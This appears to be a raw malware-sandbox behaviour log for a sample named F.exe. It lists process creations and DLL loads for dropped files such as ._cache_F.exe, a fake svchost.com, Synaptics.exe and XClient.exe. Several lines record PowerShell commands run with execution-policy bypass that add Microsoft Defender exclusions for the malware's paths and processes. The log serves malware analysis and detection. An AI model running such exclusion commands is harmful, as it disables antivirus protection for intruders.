Source: C:\Windows\svchost.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE"
Source: C:\Windows\svchost.com	Process created: C:\ProgramData\Synaptics\Synaptics.exe C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3868 -s 3276
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_F.exe'
Source: C:\Windows\svchost.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_F.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'
Source: C:\Windows\svchost.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
Source: C:\Windows\svchost.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\F.exe	Process created: C:\Users\user\AppData\Local\Temp\3582-490\F.exe "C:\Users\user\AppData\Local\Temp\3582-490\F.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Process created: C:\Users\user\Desktop\._cache_F.exe "C:\Users\user\Desktop\._cache_F.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe'	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_F.exe'	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'	Jump to behavior
Source: C:\Windows\svchost.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe'
Source: C:\Windows\svchost.com	Process created: C:\ProgramData\Synaptics\Synaptics.exe C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE
Source: C:\Windows\svchost.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_F.exe'
Source: C:\Windows\svchost.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe'
Source: C:\Windows\svchost.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'

Source: C:\Users\user\Desktop\F.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\F.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\svchost.com	Section loaded: apphelp.dll
Source: C:\Windows\svchost.com	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
